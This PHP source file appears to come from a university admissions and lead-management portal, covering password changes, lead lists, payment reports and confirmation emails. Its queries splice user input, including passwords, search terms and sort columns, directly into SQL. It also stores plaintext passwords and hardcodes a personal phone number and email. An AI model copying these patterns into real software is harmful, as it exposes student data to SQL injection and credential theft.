$univcode = $aobj_context->mobj_data["univcode"]; $oldpassword = $aobj_context->mobj_data["oldpassword"]; $passwd = $aobj_context->mobj_data["passwd"]; $onldate = date('d-m-Y'); $username = $_SESSION['STDMOBILE']; $query = "select fpassword,fleadid from adm_lead where fpassword = '{$oldpassword}' and femail='{$username}'"; $result = $aobj_context->pobj_db->GetRow($query); if($result['fpassword'] === $oldpassword){ $upd = "update adm_lead set fpassword = '{$passwd}' where femail='{$username}'"; $res = $aobj_context->pobj_db->Execute($upd); $upd = "update adm_stud set fpassword = '{$passwd}' where femail='{$username}'"; $res = $aobj_context->pobj_db->Execute($upd); if($res){ $data = "Password changed successfully"; $flink = 'Student Portal'; $leadlog = leadLog($aobj_context,$result['fleadid'],$univcode,$onldate,'Password Updated',$oldRemarks,$remarks,$collcode,$username,$flink); echo $aobj_context->mobj_output->ToJSONEnvelope($data, 0, "success"); return; }else{ $data = "failed to update password"; echo $aobj_context->mobj_output->ToJSONEnvelope($data, -1, "failure"); return; } }else{ $data = "Entered old password is not valid"; echo $aobj_context->mobj_output->ToJSONEnvelope($data, -1, "failure"); return; } } function todayUpdateData($aobj_context){ $univcode = $aobj_context->mobj_data["univcode"]; $ftypeval = $aobj_context->mobj_data["ftypeval"]; $username = $_SESSION['MOBILE']; $usertype = $_SESSION["USERTYPE"]; $fcondcoll = $_SESSION['COLL']; $fdegcond = $_SESSION['DEGREE']; $date = date("Y-m-d"); $collsplit = explode("*",$fcondcoll); $coldet = ""; foreach($collsplit as $val){ if($val != '') $coldet.= "s.finst like '{$val}' or "; } $coldata = rtrim($coldet, ' or'); $degsplit = explode("*",$fdegcond); $degdet = ""; foreach($degsplit as $val){ if($val != '') $degdet.= "s.fdegree like '{$val}' or "; } $degdata = rtrim($degdet, ' or'); if($fcondcoll != '' && $fcondcoll != NULL && $fcondcoll != 'All*' && $usertype != 'NA') $fcolcond = "and ($coldata)"; if($fdegcond != '' && $fdegcond != NULL && $fdegcond != 'All*' && $usertype != 'NA') $fconddeg = "and ($degdata)"; if($usertype == 'NA'){ $cond = "and s.fassign = '{$username}'"; } if($ftypeval == 'Follow'){ $val = "and STR_TO_DATE(ifnull(s.ffollowdate,''), '%Y-%m-%d') = '{$date}'"; }else if($ftypeval == 'All'){ $val = "and ifnull(s.ffollowdate,'') <> ''"; }else if($ftypeval == 'Missed'){ $val = "and STR_TO_DATE(ifnull(s.ffollowdate,''), '%Y-%m-%d') < '{$date}' and ifnull(s.ffollowdate,'') <> '' AND IFNULL(ffollowdate, '') <> '' AND IFNULL(fcallstatus, '') = '' "; }else if($ftypeval == 'Walkin'){ $val = "and STR_TO_DATE(ifnull(s.fwalkindate,''), '%Y-%m-%d') = '{$date}'"; } $query = "select '$username' as usermob,s.fleadid, ifnull(s.fname,'') as fname, ifnull(s.fmobile,'') as fmobile, ifnull(s.femail,'') as femail, ifnull( concat(s.fdegree,' - ', d.fdescpn),'') as fdegree, ifnull(s.fcreateddate,'') as fcreateddate, ifnull(freferstatus,'')as freferstatus, ifnull(flastcall,'New') as flastcall, ifnull(fcallstatus,'New') as fcallstatus, ifnull(s.ffollowdate,'') as ffollowdate, ifnull(s.fwalkindate,'') as fwalkindate, ifnull(s.fleadsource,'') as fleadsource, ifnull(am.fname,'') as fassign, ifnull(s.fleadstatus,'') as fleadstatus, ifnull(ast.fname,'') as fstate from adm_lead s left join degree d on s.fdegree = d.fdegree left join adm_masuser am on s.fassign = am.fusername left join adm_state ast on s.fstate = ast.fid where ifnull(s.fassign,'') <> '' and ifnull(s.fdeleted,'') = 'F' AND s.fstatus <> '4' $cond $fcolcond $fconddeg $val group by s.fleadid order by s.ffollowdate asc"; $result = $aobj_context->pobj_db->GetAll($query); if($result){ echo $aobj_context->mobj_output->ToJSONEnvelope($result, 0, "success"); return; }else{ $arr['msg'] = "No Data found"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } } function getPaymentDet($aobj_context){ $univcode = $aobj_context->mobj_data["univcode"]; $detval = $aobj_context->mobj_data["detval"]; $username = $_SESSION['MOBILE']; $usertype = $_SESSION["USERTYPE"]; $date = date("Y-m-d"); $fcondcoll = $_SESSION['COLL']; $fdegcond = $_SESSION['DEGREE']; if($usertype == 'NA' || $usertype == 'AG' || $usertype == 'SAG'){ $cond = "and sa.fassign = '{$username}'"; $cond1 = "and al.fassign = '{$username}'"; } if($detval == 'comp'){ $dval = "T"; $join = "inner"; $val1 = 'success'; }else if($detval == 'pend'){ $dval = ""; $join = "left"; $val1 = ''; } $collsplit = explode("*",$fcondcoll); $coldet = ""; $coldet1 = ""; foreach($collsplit as $val){ if($val != ''){ $coldet.= "al.finst like '{$val}' or "; $coldet1.= "finst like '{$val}' or "; } } $coldata = rtrim($coldet, ' or'); $coldata1 = rtrim($coldet1, ' or'); $degsplit = explode("*",$fdegcond); $degdet = ""; foreach($degsplit as $val){ if($val != ''){ $degdet.= "al.fdegree like '{$val}' or "; } } $degdata = rtrim($degdet, ' or'); if($fcondcoll != '' && $fcondcoll != NULL && $fcondcoll != 'All*' && $usertype != 'NA'){ $fcolcond = "and ($coldata)"; $fcolcond1 = "and ($coldata1)"; } if($fdegcond != '' && $fdegcond != NULL && $fdegcond != 'All*' && $usertype != 'NA') $fconddeg = "and ($degdata)"; if($detval == 'appnot'){ $query = "select distinct al.fleadid,al.fname, concat(al.fmobile,' / ',al.femail) as fmobile, ifnull(sa.fpaydate,'') as fconfdate,ifnull(al.femail,'')as femail, ifnull(am.fname,'') as fassign,d.fdescpn,ifnull(fpaid,'')as fpaid, ifnull(al.fleadsource,'')as fleadsource from adm_lead al left join adm_studfee sa on al.fleadid = sa.fleadid left join degree d on d.fdegree = al.fdegree left join adm_masuser am on al.fassign = am.fusername where sa.fheadcode = 'App' and sa.fpaid = d.fappfee and IFNULL(al.ftype, '') = 'Registered' $fcolcond1 $cond1"; }else{ $query = "select al.fappno,al.fname, concat(al.fmobile,' / ',al.femail) as fmobile, ifnull(al.fconfdate,'') as fconfdate, ifnull(al.fassign,'') as fassign,d.fdescpn, if(asm.fpaystatus = 'success','Completed','Pending') as fpay, ifnull(asf.fpaid,'0.00') as fpaid,ifnull(asf.fbal,'') as fbal, ifnull(asm.fpaydate,'') as fpaydate, ifnull(al.fappvrsts,'') as fappvrsts, ifnull(asm.FTRANID,'') as FTRANID, ifnull(al.fleadsource,'')as fleadsource from adm_stud al inner join degree d on al.fdegree = d.fdegree inner join collcourse cs on al.fdegree = cs.fdegree and d.fdegree = cs.fdegree and al.fadmyear = cs.fyear inner join adm_state ast on al.fstate = ast.fid inner join adm_studfee asf on al.fappno = asf.fappno and al.fdegree = asf.fdegree {$join} join adm_studfeesum asm on asm.fappno = al.fappno and asm.fappno = al.fappno where IFNULL(al.fconfirm, '') = 'T' and ifnull(al.fpaymentstatus,'') = '{$dval}' and ifnull(asm.fpaystatus,'') = '{$val1}' $cond $fcolcond $fconddeg group by al.fappno"; } $result = $aobj_context->pobj_db->GetAll($query); if($result){ $arr['data'] = $result; $arr['usertype'] = $usertype; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success"); return; }else{ $arr['msg'] = "No Data found"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } } function deleteUserDet($aobj_context){ $univcode = $aobj_context->mobj_data["univcode"]; $fuserid = $aobj_context->mobj_data["fuserid"]; $qur = "select * from adm_lead l inner join adm_masuser m on l.fassign = m.fusername where m.fusercode = '{$fuserid}' and l.fstatus <> '4'"; $res = $aobj_context->pobj_db->GetAll($qur); if(count($res) > 0){ $arr['msg'] = "Please reassign the lead which is assigned to this user before delete"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } $query = "update adm_masuser set fdeleted = 'T' where fusercode = '{$fuserid}'"; $result = $aobj_context->pobj_db->Execute($query); if($result){ $arr['msg'] = "Successfully Deleted"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success"); return; }else{ $arr['msg'] = "Something went wrong try later"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } } function confStdLtr($aobj_context){ $univcode = $aobj_context->mobj_data["univcode"]; $fappno = $aobj_context->mobj_data["fappno"]; $username = $_SESSION['MOBILE']; $date = date('Y-m-d H:i:s'); $onldate = date('d-m-Y'); $query = "select a.*, concat(d.fdescpn,' (',a.fdegree,')') as fdescpn ,ifnull(fadmno,'')as fadmno from adm_stud a inner join degree d on a.fdegree = d.fdegree where fappno = '{$fappno}'"; $result = $aobj_context->pobj_db->GetRow($query); $colldet = "select ifnull(FUNIVNAME,'') as FUNIVNAME, concat(ifnull(FUNIVADD1,'') ,',', ifnull(FUNIVADD2,'')) as FUNIVADD, ifnull(FTOWN,'') as FTOWN, ifnull(funivemail,'') as funivemail, ifnull(funivmobile,'') as funivmobile,ifnull(fadmlink,'') as fadmlink, ifnull(fadmname, '') as fadmname,ifnull(fadmemail,'') as fadmemail from control"; $collres = $aobj_context->pobj_db->GetRow($colldet); $url = $collres['fadmlink']; $url_parts = parse_url($url); $admlink = $url_parts['host']; $stdfatname = $result['ffatname']; $stddegree = $result['fdescpn']; $admyer = $result['fadmyear']; $admyar = date("Y", strtotime("+1 year", strtotime($admyer . "-01-01"))); $admYear = $admyer."-".$admyar; $femail = $result['femail']; $admNO =$result['fadmno']; $stdgend = ''; if($result['fgender'] == 'M'){ $stdgend = 'S/o'; $stdname = 'Mr '.$result['fname']; }else{ $stdgend = 'D/o'; $stdname = 'Ms '.$result['fname']; } $link = $admlink."/app.php?&a=confStdLtrPdf&univcode=".$univcode."&fappno=".$fappno.""; $logo = "https://universitysolutions.in/admission/img/".$univcode."_logo.jpg"; $message="<html>"; $message.="<body>"; $message.="<style>"; $message.=".mail_tbl td{ text-align:left; padding:2px; font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif;"; $message.="</style>"; $message.="<center><img src='{$logo}' height='100px' width='250px' /></center>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif;'>Application no.: <b>" . $admNO . "</b></p>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif; text-align:right;'>Date: " . $onldate . "</p>"; $message.="<p style='line-height: 0;text-align:center'><b>ADMISSION CONFIRMATION</b></p>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif;margin-top:40px'> Download PROVISIONAL ADMISSION CONFIRMATION Letter <button><a href='{$link}'>Download</a></button></p>"; // $message.= ""; // $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'> // This is to certify that <b>".$stdname." ".$stdgend." ".$stdfatname."</b> has been provisionally admitted in our institution // for study in <b>".$stddegree."</b> course for the academic year <b>".$admYear."</b> through merit basis and final confirmation // of the admission is subjected to the payment of full fee, submission of original documents and approval of admission // from the university concerned. </p>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'> Thanking You,</p>"; $message.="</body>"; $message.="</html>"; $subject= strtoupper("PROVISIONAL ADMISSION CONFIRMATION LETTER"); if($username == '8183865028'){ $femail = "manu03673@gmail.com"; } $qry10 = "select ifnull(femailkey, '')as femailkey, ifnull(FSUPEMAIL, '')as FSUPEMAIL from logisys3_comexam.dbname where funivcode='{$univcode}'"; $res10 = $aobj_context->pobj_db->GetRow($qry10); $resp = sendZohoMail($femail, $subject, $message, $res10['femailkey'], $res10['FSUPEMAIL']); if($resp){ $qur = "update adm_stud set fappvrsts = 'T', fappvrdate = now(), fappvruser ='{$username}' where fappno = '{$fappno}'"; $res = $aobj_context->pobj_db->Execute($qur); if($res){ $arr['msg'] = "Confirmed Successfully"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success"); return; }else{ $arr['msg'] = "Something went wrong try later"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } }else{ $arr['msg'] = "Something went wrong try later"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } } function getUserTypes($aobj_context){ $univcode = $aobj_context->mobj_data["univcode"]; $fcondcoll = $_SESSION['COLL']; $fdegcond = $_SESSION['DEGREE']; $usertype = $_SESSION['USERTYPE']; $collsplit = explode("*",$fcondcoll); $coldet = ""; foreach($collsplit as $val){ if($val != '') $coldet.= "fcollcode like '{$val}' or "; } $coldata = rtrim($coldet, ' or'); $degsplit = explode("*",$fdegcond); $degdet = ""; foreach($degsplit as $val){ if($val != '') $degdet.= "fdegree like '{$val}' or "; } $degdata = rtrim($degdet, ' or'); if($fcondcoll != '' && $fcondcoll != NULL && $fcondcoll != 'All*') $fcolcond = "and ($coldata)"; if($fdegcond != '' && $fdegcond != NULL && $fdegcond != 'All*') $fconddeg = "and ($degdata)"; $que = "select ifnull(fcollcode,'All')as fcollcode, ifnull(fdegree,'All')as fdegree from adm_masuser where fusername = '{$username}' and ifnull(fdeleted,'F') <> 'T'"; $res = $aobj_context->pobj_db->GetRow($que); $query = "select * from adm_usertype where fusertype > (select fusertype from adm_usertype where ftypeshort = '{$usertype}')"; $result = $aobj_context->pobj_db->GetAll($query); $degquery = "select DISTINCT d.fdegree, d.fdescpn from degree d where ifnull(fdeleted,'F') <> 'T' $fconddeg"; $degres = $aobj_context->pobj_db->GetAll($degquery); $collque = "select DISTINCT fcollcode,fcollname from college where ifnull(fdeleted,'F') <> 'T' $fcolcond"; $collres = $aobj_context->pobj_db->GetAll($collque); if($result){ $arr['usertype'] = $result; $arr['fdegree'] = $degres; $arr['fcoll'] = $collres; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success"); return; }else{ $arr['msg'] = "No Usertype Data found"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } } function getCollCodeDet($aobj_context){ $univcode = $aobj_context->mobj_data["univcode"]; $fdeggrp = $aobj_context->mobj_data["fdeggrp"]; $fdegreedata = $aobj_context->mobj_data["fdegree"]; $split = explode('-',$fdegreedata); $fdegree = $split[0]; $fadmyear = $split[1]; $fcondcoll = $_SESSION['COLL']; $collsplit = explode("*",$fcondcoll); $coldet = ""; foreach($collsplit as $val){ if($val != '') $coldet.= "cs.fcollcode like '{$val}' or "; } $coldata = rtrim($coldet, ' or'); if($fcondcoll != '' && $fcondcoll != NULL && $fcondcoll != 'All*') $fcolcond = "and ($coldata)"; $query = "select distinct cs.fcollcode,c.fcollname from college c inner join collcourse cs on c.fcollcode = cs.fcollcode inner join degree d on cs.fdegree = d.fdegree and fadmdeg ='T' where d.FFACULTY = '{$fdeggrp}' and cs.fdegree = '{$fdegree}'"; $res = $aobj_context->pobj_db->GetAll($query); if($res){ echo $aobj_context->mobj_output->ToJSONEnvelope($res, 0, "success"); }else{ $arr['msg'] = "No Data Found"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } } function userleadDetial($aobj_context){ $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $funivcode = $aobj_context->mobj_data['univcode']; $fvaltype = $aobj_context->mobj_data['fvaltype']; $fstate = $aobj_context->mobj_data['fstate']; $fdistrict = $aobj_context->mobj_data['fdistrict']; $fdegree = $aobj_context->mobj_data['fdegree']; $fstatus = $aobj_context->mobj_data['fstatus']; $fleaduser = $aobj_context->mobj_data['fleaduser']; $fuser = $aobj_context->mobj_data['fuser']; $searchValue = $aobj_context->mobj_data['search']['value']; $start = $aobj_context->mobj_data['start']; $length = $aobj_context->mobj_data['length']; $draw = $aobj_context->mobj_data['draw']; $page = floor($start / $length) + 1; $fusertype = $_SESSION['USERTYPE']; $femail = $_SESSION['MOBILE']; $fcond = $_SESSION['COMB']; $fcondcoll = $_SESSION['COLL']; $fdegcond = $_SESSION['DEGREE']; $cond = ""; $sort_column_index = $aobj_context->mobj_data['order'][0]['column']; $sort_column_name = $aobj_context->mobj_data['columns'][$sort_column_index]['data']; $sort_direction = $aobj_context->mobj_data['order'][0]['dir']; $fsource = $aobj_context->mobj_data['fsource']; $fpriority = $aobj_context->mobj_data['fpriority']; $fcallstat = $aobj_context->mobj_data['fcallstat']; if($fsource != "") $fsourcond = "and fleadsource = '{$fsource}'"; if($fpriority != "") $fproicond = "and fpriority = '{$fpriority}'"; if($fcallstat != "") $fcalstcond = "and fcallstatus = '{$fcallstat}'"; $collsplit = explode("*",$fcondcoll); $coldet = ""; foreach($collsplit as $val){ if($val != '') $coldet.= "s.finst like '{$val}' or "; } $coldata = rtrim($coldet, ' or'); $degsplit = explode("*",$fdegcond); $degdet = ""; foreach($degsplit as $val){ if($val != '') $degdet.= "s.fdegree like '{$val}' or "; } $degdata = rtrim($degdet, ' or'); if($fcondcoll != '' && $fcondcoll != NULL && $fcondcoll != 'All*' && $fusertype != 'NA') $fcolcond = "and ($coldata)"; if($fdegcond != '' && $fdegcond != NULL && $fdegcond != 'All*' && $fusertype != 'NA') $fconddeg = "and ($degdata)"; if($fusertype == "NA"){ $cond = "and s.fassign = '{$femail}' "; } if($fvaltype != ''){ $cond1 = "and s.fstatus = '{$fvaltype}'"; } $statesplit = explode(',', $fstate); $statedet = ""; foreach($statesplit as $val){ if($val != '') $statedet.= "s.fstate like '{$val}' or "; } $statedata = rtrim($statedet, ' or'); if($fstate != ""){ $statcond = "and s.fstate = '{$fstate}'"; } // var_dump($statedata,$statesplit,$fstate); $fdistsplit = explode(',', $fdistrict); $fdistdet = ""; foreach($fdistsplit as $val){ if($val != '') $fdistdet.= "fdistrict like '{$val}' or "; } $fdistdata = rtrim($fdistdet, ' or'); if($fdistrict != ""){ $distcond = "and s.fdistrict = '{$fdistrict}'"; } $fdegresplit = explode(',', $fdegree); $fdegredet = ""; foreach($fdegresplit as $val){ if($val != '') $fdegredet.= "s.fdegree like '{$val}' or "; } $fdegdata = rtrim($fdegredet, ' or'); if($fdegree != ""){ $degreecond = "and s.fdegree = '{$fdegree}'"; } $fusersplit = explode(',', $fleaduser); $fuserdet = ""; // foreach($fusersplit as $val){ // if($val != '') // $fuserdet.= "s.fassign like '{$val}' or "; // } // $fuserdata = rtrim($fuserdet, ' or'); // var_dump($fuserdata,$fusersplit,$fleaduser); if($fleaduser != "" && $fusertype != "NA"){ $usercond = "and s.fassign = '{$fleaduser}'"; }else if($fuser != "" && $fusertype != "NA"){ $usercond = "and s.fassign = '{$fuser}'"; } // if($fcondcoll != '' && $fcondcoll != NULL && $fcondcoll != 'All*') // $fcolcond = "and $fcolcond"; // if($fdegcond != '' && $fdegcond != NULL && $fdegcond != 'All*') // $fconddeg = "and $fconddeg"; if($fstatus == 'assigned'){ $statuscond = "and ifnull(s.fassign,'') <> ''"; }else if($fstatus == "pending"){ $statuscond = "and ifnull(s.fassign,'') = ''"; }else if($fstatus == "attended"){ $statuscond = "and ifnull(s.flastcall,'') <> ''"; }else if($fstatus == "notattended"){ $statuscond = "and ifnull(s.flastcall,'') = ''"; } $limtcond = ""; if($searchValue != ""){ $sercond = 'and (s.fname like "%'.$searchValue.'%" or s.fmobile like "%'.$searchValue.'%" or s.femail like "%'.$searchValue.'%" or s.fdegree like "%'.$searchValue.'%" or d.fdescpn like "%'.$searchValue.'%" or ast.fname like "%'.$searchValue.'%" or s.fleadsource like "%'.$searchValue.'%" or s.fcreateddate like "%'.$searchValue.'%" or s.ffollowdate like "%'.$searchValue.'%" or am.fname like "%'.$searchValue.'%")'; }else{ $limtcond = "LIMIT $start, $length"; } if(isset($aobj_context->mobj_data['order']) && is_array($aobj_context->mobj_data['order'])){ $sortCond = "order by ".$sort_column_name ." ". $sort_direction; }else{ $sortCond = "order by fcreateddate desc"; } $query = "select s.fleadid, ifnull(s.fname,'') as fname, ifnull(s.fmobile,'') as fmobile, ifnull(s.femail,'') as femail, ifnull(concat(s.fdegree,' - ', d.fdescpn),'') as fdegree, ifnull(d.fdescpn,'') as fdescpn, ifnull(s.fcreateddate,'') as fcreateddate, ifnull(freferstatus,'')as freferstatus, ifnull(flastcall,'New') as flastcall, ifnull(fcallstatus,'New') as fcallstatus, ifnull(s.ffollowdate,'') as ffollowdate, ifnull(s.fleadsource,'') as fleadsource, ifnull(am.fname,'') as fassign, ifnull(s.fleadstatus,'') as fleadstatus, ifnull(ast.fname,'') as fstate from adm_lead s left join degree d on s.fdegree = d.fdegree left join adm_masuser am on s.fassign = am.fusername left join adm_state ast on s.fstate = ast.fid left JOIN adm_maslead ls ON s.fleadstatus = ls.fid where ifnull(s.fdeleted,'F') = 'F' $cond $statcond $distcond $degreecond $usercond $cond1 $statuscond $sercond $fcolcond $fconddeg $fsourcond $fproicond $fcalstcond group by s.fleadid $sortCond $limtcond"; $result = $aobj_context->pobj_db->GetAll($query); $total_records_query = "SELECT COUNT(*) AS total FROM adm_lead s left JOIN adm_maslead ls ON s.fleadstatus = ls.fid WHERE ifnull(s.fdeleted,'F') = 'F' {$cond} {$statcond} {$distcond} {$degreecond} {$usercond} {$cond1} {$statuscond} {$searchCond} $fcolcond $fconddeg $fsourcond $fproicond $fcalstcond"; $total_records_result = $aobj_context->pobj_db->GetRow($total_records_query); $total_records = $total_records_result['total']; $filtered_records_query = "SELECT COUNT(*) as filtered FROM adm_lead s left JOIN adm_maslead ls ON s.fleadstatus = ls.fid WHERE ifnull(s.fdeleted,'F') = 'F' {$cond} {$statcond} {$distcond} {$degreecond} {$usercond} {$cond1} {$statuscond} {$searchCond} $fcolcond $fconddeg $fsourcond $fproicond $fcalstcond"; $filtered_records_result = $aobj_context->pobj_db->GetRow($filtered_records_query); if($searchValue == ""){ $filtered_records = $filtered_records_result['filtered']; }else{ $filtered_records = count($result); } if($result){ echo json_encode([ "draw" => isset($aobj_context->mobj_data['draw']) ? intval($aobj_context->mobj_data['draw']) : 1, "recordsTotal" => intval($total_records), "recordsFiltered" => intval($filtered_records), "data" => $result ]); }else{ $arr['msg'] = "No data found"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } } function getCollegeDetail($aobj_context){ $univcode = $aobj_context->mobj_data["univcode"]; $fcondcoll = $_SESSION['COLL']; $collsplit = explode("*",$fcondcoll); $coldet = ""; foreach($collsplit as $val){ if($val != '') $coldet.= "fcollcode like '{$val}' or "; } $coldata = rtrim($coldet, ' or'); if($fcondcoll != '' && $fcondcoll != NULL && $fcondcoll != 'All*') $fcolcond = "and ($coldata)"; $query = "select distinct fcollcode,fcollname from college where ifnull(fdeleted,'')<>'T' $fcolcond"; $res = $aobj_context->pobj_db->GetAll($query); if($res){ echo $aobj_context->mobj_output->ToJSONEnvelope($res, 0, "success"); }else{ $arr['msg'] = "No Data Found"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } } ?>
Close
